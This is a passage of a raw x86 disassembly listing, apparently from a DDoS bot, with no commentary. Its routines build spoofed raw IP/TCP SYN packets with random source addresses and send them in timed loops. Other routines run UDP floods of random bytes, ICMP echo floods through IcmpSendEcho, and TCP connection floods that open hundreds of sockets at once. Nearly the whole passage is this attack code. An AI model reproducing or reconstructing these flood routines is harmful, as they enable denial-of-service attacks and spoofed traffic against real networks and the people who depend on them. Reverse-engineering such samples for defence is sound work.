[ebp+var_A0] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AFCA mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4E315C ; sendto cmp eax, 0FFFFFFFFh jz short loc_41387E add [ebp+Str1], eax lea eax, [ebp+var_1C] push eax call ds:dword_4F5408 ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4138A7 jl loc_41373B mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4138A7 jmp loc_41373B ; --------------------------------------------------------------------------- loc_41387E: ; CODE XREF: sub_413589+2CBj call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44CC20 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_415C3F add esp, 10h jmp short loc_4138AA ; --------------------------------------------------------------------------- loc_4138A7: ; CODE XREF: sub_413589+2E0j ; sub_413589+2EEj mov ebx, [ebp+Str1] loc_4138AA: ; CODE XREF: sub_413589+78j ; sub_413589+31Cj push [ebp+var_20] call dword_4E3190 ; closesocket pop esi loc_4138B4: ; CODE XREF: sub_413589+5Bj call dword_4E3050 ; WSACleanup mov eax, ebx loc_4138BC: ; CODE XREF: sub_413589+3Bj pop edi pop ebx leave retn sub_413589 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4138C0(int,char *Str,char *Str1,int) sub_4138C0 proc near ; CODE XREF: sub_4134D4+4Fp arg_0 = dword ptr 4 Str = dword ptr 8 Str1 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AE55 push [esp+10h+Str] ; Str mov esi, eax call _atoi push [esp+14h+arg_C] ; Str mov ebx, eax call _atoi mov edi, eax call _rand cdq mov ecx, 200h push edi ; int idiv ecx push ebx ; int push [esp+20h+Str1] ; Str1 lea eax, [edx+esi+100h] push eax ; int push esi ; int call sub_413589 add esp, 20h test eax, eax jnz short loc_41390F push 1 pop eax loc_41390F: ; CODE XREF: sub_4138C0+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4138C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41391E proc near ; DATA XREF: sub_401CC7+67A2o Dest = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h Str = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_4E3178 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4139B9 call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44CC3C ; "-" push eax ; Dest call _sprintf xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_41399C push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409D34 add esp, 14h loc_41399C: ; CODE XREF: sub_41391E+5Cj lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_38] call sub_40BA72 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_4139B9: ; CODE XREF: sub_41391E+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_4E30D8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_413A30 call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44CC68 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_413A13 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409D34 add esp, 14h loc_413A13: ; CODE XREF: sub_41391E+D3j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_38] call sub_40BA72 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_413A30: ; CODE XREF: sub_41391E+B3j lea eax, [ebp+var_1B8] push eax call dword_4E3138 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_413A97 lea eax, [ebp+Dest] push offset asc_44CC98 ; "-" push eax ; Dest call _sprintf cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_413A7A push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409D34 add esp, 14h loc_413A7A: ; CODE XREF: sub_41391E+13Aj lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_38] call sub_40BA72 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_413A97: ; CODE XREF: sub_41391E+122j push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push edi call dword_4E30F8 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_4E3138 ; inet_addr mov esi, ds:dword_4F537C mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax loc_413AD5: ; CODE XREF: sub_41391E+2E8j call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_413C80 push 41Ch mov byte_4E5EB0, 45h call dword_4E30F8 ; htons cmp [ebp+var_2C], edi mov word_4E5EB2, ax mov word_4E5EB4, bx mov word_4E5EB6, di mov byte_4E5EB8, 80h mov byte_4E5EB9, bl mov word_4E5EBA, di jz short loc_413B5B call _rand mov ebx, eax shl ebx, 8 call _rand add ebx, eax shl ebx, 8 call _rand add ebx, eax shl ebx, 8 call _rand add ebx, eax push 1 mov dword_4E5EBC, ebx pop ebx jmp short loc_413B73 ; --------------------------------------------------------------------------- loc_413B5B: ; CODE XREF: sub_41391E+20Bj push [ebp+var_1BC] call sub_40AF71 pop ecx push eax call dword_4E3138 ; inet_addr mov dword_4E5EBC, eax loc_413B73: ; CODE XREF: sub_41391E+23Bj mov eax, [ebp+var_18] mov dword_4E5EC0, eax call _rand cdq mov ecx, 100h idiv ecx mov byte_4E5EC4, dl call _rand cdq mov ecx, 100h idiv ecx mov byte_4E5EC5, dl call _rand cdq mov ecx, 0F0h push 400h ; Size idiv ecx mov word_4E5EC6, di mov word_4E5ECA, bx inc edx mov word_4E5EC8, dx call _rand cdq mov ecx, 0FFh idiv ecx push edx ; Val push offset dword_4E5ECC ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push 10h push eax push edi push 41Ch push offset byte_4E5EB0 push [ebp+var_4] call dword_4E315C ; sendto cmp eax, 0FFFFFFFFh jz short loc_413C0B inc [ebp+arg_0] jmp loc_413AD5 ; --------------------------------------------------------------------------- loc_413C0B: ; CODE XREF: sub_41391E+2E3j push [ebp+var_4] call dword_4E3190 ; closesocket call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset asc_44CCB8 ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 18h cmp [ebp+var_24], edi jnz short loc_413C63 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409D34 add esp, 14h loc_413C63: ; CODE XREF: sub_41391E+323j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_38] call sub_40BA72 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_413C80: ; CODE XREF: sub_41391E+1C8j push [ebp+var_4] call dword_4E3190 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+Dest] push offset asc_44CD00 ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_413CE8 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409D34 add esp, 14h loc_413CE8: ; CODE XREF: sub_41391E+3A8j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_38] call sub_40BA72 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread sub_41391E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413D05 proc near ; DATA XREF: sub_401CC7+5590o var_10320 = byte ptr -10320h Dest = byte ptr -344h var_144 = dword ptr -144h Str = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h Dst = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_4E3080 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_4E3138 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_413D60 lea eax, [ebp+var_C0] push eax call dword_4E317C ; gethostbyname cmp eax, ebx jz short loc_413D66 loc_413D60: ; CODE XREF: sub_413D05+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_413DC3 loc_413D66: ; CODE XREF: sub_413D05+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dest] push offset asc_44CD4C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413DA6 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_144] ; int call sub_409D34 add esp, 14h loc_413DA6: ; CODE XREF: sub_413D05+7Fj lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_30] call sub_40BA72 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_413DC3: ; CODE XREF: sub_413D05+5Fj cmp eax, ebx jz short loc_413DD3 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_413DD6 ; --------------------------------------------------------------------------- loc_413DD3: ; CODE XREF: sub_413D05+C0j mov [ebp+var_4], esi loc_413DD6: ; CODE XREF: sub_413D05+CCj push 1Ch ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_413DF6 mov [ebp+var_3C], eax loc_413DF6: ; CODE XREF: sub_413D05+ECj cmp [ebp+var_38], edi jge short loc_413DFE mov [ebp+var_38], edi loc_413DFE: ; CODE XREF: sub_413D05+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_413E2B loc_413E05: ; CODE XREF: sub_413D05+124j push [ebp+var_38] lea eax, [ebp+Dst] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_4E3010 ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_413E05 loc_413E2B: ; CODE XREF: sub_413D05+FEj push [ebp+arg_0] call dword_4E31B0 ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dest] push offset asc_44CD74 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413E74 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_144] ; int call sub_409D34 add esp, 14h loc_413E74: ; CODE XREF: sub_413D05+14Dj lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_30] call sub_40BA72 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread sub_413D05 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E91 proc near ; DATA XREF: sub_401CC7+57DCo var_10311 = byte ptr -10311h var_10310 = byte ptr -10310h Dest = byte ptr -334h var_134 = dword ptr -134h Str = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand pop ecx push 11h push 2 push 2 call dword_4E3178 ; socket mov ebx, eax xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+Dst], 2 push eax call dword_4E3138 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_413F76 lea eax, [ebp+var_B0] push eax call dword_4E317C ; gethostbyname cmp eax, edi jnz short loc_413F6F lea eax, [ebp+var_B0] push eax lea eax, [ebp+Dest] push offset asc_44CDA0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_413F52 push edi ; int lea eax, [ebp+Dest] push [ebp+var_1C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_134] ; int call sub_409D34 add esp, 14h loc_413F52: ; CODE XREF: sub_413E91+9Fj lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_20] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_413F6F: ; CODE XREF: sub_413E91+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_413F79 ; --------------------------------------------------------------------------- loc_413F76: ; CODE XREF: sub_413E91+6Ej lea eax, [ebp+arg_0] loc_413F79: ; CODE XREF: sub_413E91+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_413F94 call _rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_413F97 ; --------------------------------------------------------------------------- loc_413F94: ; CODE XREF: sub_413E91+F0j push [ebp+var_24] loc_413F97: ; CODE XREF: sub_413E91+101j call dword_4E30F8 ; htons cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_413FA9 mov [ebp+var_24], esi loc_413FA9: ; CODE XREF: sub_413E91+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_413FB6 mov [ebp+var_24], eax loc_413FB6: ; CODE XREF: sub_413E91+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_413FCA mov [ebp+var_28], esi loc_413FCA: ; CODE XREF: sub_413E91+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_413FEB loc_413FD1: ; CODE XREF: sub_413E91+158j call _rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi+var_10311], dl jl short loc_413FD1 loc_413FEB: ; CODE XREF: sub_413E91+13Ej ; sub_413E91+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_41404A push 0Bh pop esi loc_413FF8: ; CODE XREF: sub_413E91+197j lea eax, [ebp+Dst] push 10h push eax push edi call _rand push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_4E315C ; sendto push [ebp+var_28] call ds:dword_4F534C ; Sleep dec esi jnz short loc_413FF8 cmp [ebp+var_24], edi jnz short loc_413FEB call _rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_4E30F8 ; htons mov [ebp+var_E], ax jmp short loc_413FEB ; --------------------------------------------------------------------------- loc_41404A: ; CODE XREF: sub_413E91+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+Dest] push offset asc_44CDC8 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_41408A push edi ; int lea eax, [ebp+Dest] push [ebp+var_1C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_134] ; int call sub_409D34 add esp, 14h loc_41408A: ; CODE XREF: sub_413E91+1D7j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_20] call sub_40BA72 pop ecx pop ecx push edi call ds:dword_4F53A0 ; ExitThread sub_413E91 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4140A7 proc near ; DATA XREF: sub_401CC7+4E6Do Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = dword ptr -210h var_190 = byte ptr -190h var_110 = dword ptr -110h Str = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax ; int lea eax, [ebp+var_190] push eax ; Str lea eax, [ebp+var_210] push eax ; int call sub_414208 add esp, 0Ch push eax lea eax, [ebp+Dest] push offset asc_44CDF4 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414127 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_409D34 add esp, 14h loc_414127: ; CODE XREF: sub_4140A7+5Ej lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_10] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_4140A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414146 proc near ; CODE XREF: sub_414208+27p var_654 = byte ptr -654h Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call dword_4E30F8 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_414204 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_414191: ; CODE XREF: sub_414146+B9j lea esi, [ebp+var_654] mov ebx, edi loc_414199: ; CODE XREF: sub_414146+7Aj push 0 push 1 push 2 call ds:dword_4F553C ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4141BC lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call ds:dword_4F5514 ; ioctlsocket loc_4141BC: ; CODE XREF: sub_414146+64j add esi, 4 dec ebx jnz short loc_414199 lea esi, [ebp+var_654] mov ebx, edi loc_4141CA: ; CODE XREF: sub_414146+96j lea eax, [ebp+Dst] push 10h push eax push dword ptr [esi] call ds:dword_4F5530 ; connect add esi, 4 dec ebx jnz short loc_4141CA push 64h call ds:dword_4F534C ; Sleep lea esi, [ebp+var_654] mov ebx, edi loc_4141EE: ; CODE XREF: sub_414146+B4j push dword ptr [esi] call ds:dword_4F5538 ; closesocket add esi, 4 dec ebx jnz short loc_4141EE dec [ebp+arg_4] jnz short loc_414191 pop edi pop esi pop ebx loc_414204: ; CODE XREF: sub_414146+3Ej xor eax, eax leave retn sub_414146 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_414208(int,char *Str,int) sub_414208 proc near ; CODE XREF: sub_4140A7+3Cp arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AE55 push [esp+10h+Str] ; Str mov edi, eax call _atoi push [esp+14h+arg_8] ; Str mov ebx, eax call _atoi mov esi, eax push esi push ebx push edi call sub_414146 add esp, 18h test eax, eax jnz short loc_41423E push 1 pop eax loc_41423E: ; CODE XREF: sub_414208+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_414208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41424D proc near ; DATA XREF: sub_401CC7+64CAo Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = dword ptr -210h var_190 = byte ptr -190h var_110 = dword ptr -110h Str = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax ; int lea eax, [ebp+var_190] push eax ; Str lea eax, [ebp+var_210] push eax ; int call sub_41459E add esp, 0Ch push eax lea eax, [ebp+Dest] push offset asc_44CE20 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4142CD push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_409D34 add esp, 14h loc_4142CD: ; CODE XREF: sub_41424D+5Ej lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_10] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_41424D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142EC proc near ; CODE XREF: sub_41459E+3Cp var_284 = byte ptr -284h Dest = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch Src = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h Dst = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4E3068 ; WSAStartup test eax, eax jz short loc_41432C xor eax, eax jmp loc_41459A ; --------------------------------------------------------------------------- loc_41432C: ; CODE XREF: sub_4142EC+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4E319C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_414592 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4E30D8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_414588 push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_8] call dword_4E30F8 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4E30F8 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4E30F8 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4E30F8 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call ds:dword_4F540C ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call ds:dword_4F5408 ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call __allmul add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_414417: ; CODE XREF: sub_4142EC+25Dj ; sub_4142EC+26Bj mov [ebp+var_24], bx call _rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4E30F8 ; htons mov [ebp+var_34], ax call _rand mov edi, eax shl edi, 10h call _rand or edi, eax push edi call dword_4E30F8 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4E30F4 ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4E30F8 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+Src], eax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_34] push edi ; Size push eax ; Src lea eax, [ebp+var_94] push eax ; Dst call _memcpy lea eax, [ebp+var_B4] push 34h push eax call sub_40AFCA mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_34] push edi ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_8C] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AFCA mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+Dst] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4E315C ; sendto cmp eax, 0FFFFFFFFh jz short loc_41455C add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call ds:dword_4F5408 ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_414585 jl loc_414417 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_414585 jmp loc_414417 ; --------------------------------------------------------------------------- loc_41455C: ; CODE XREF: sub_4142EC+247j call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44CE48 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_415C3F add esp, 10h jmp short loc_414588 ; --------------------------------------------------------------------------- loc_414585: ; CODE XREF: sub_4142EC+25Bj ; sub_4142EC+269j mov ebx, [ebp+arg_8] loc_414588: ; CODE XREF: sub_4142EC+78j ; sub_4142EC+297j push [ebp+var_C] call dword_4E3190 ; closesocket pop esi loc_414592: ; CODE XREF: sub_4142EC+5Bj call dword_4E3050 ; WSACleanup mov eax, ebx loc_41459A: ; CODE XREF: sub_4142EC+3Bj pop edi pop ebx leave retn sub_4142EC endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_41459E(int,char *Str,int) sub_41459E proc near ; CODE XREF: sub_41424D+3Cp arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AE55 push [esp+10h+Str] ; Str mov esi, eax call _atoi push [esp+14h+arg_8] ; Str mov ebx, eax call _atoi mov edi, eax call _rand cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4142EC add esp, 1Ch test eax, eax jnz short loc_4145E9 push 1 pop eax loc_4145E9: ; CODE XREF: sub_41459E+46j cdq mov ecx, 3E8h idiv 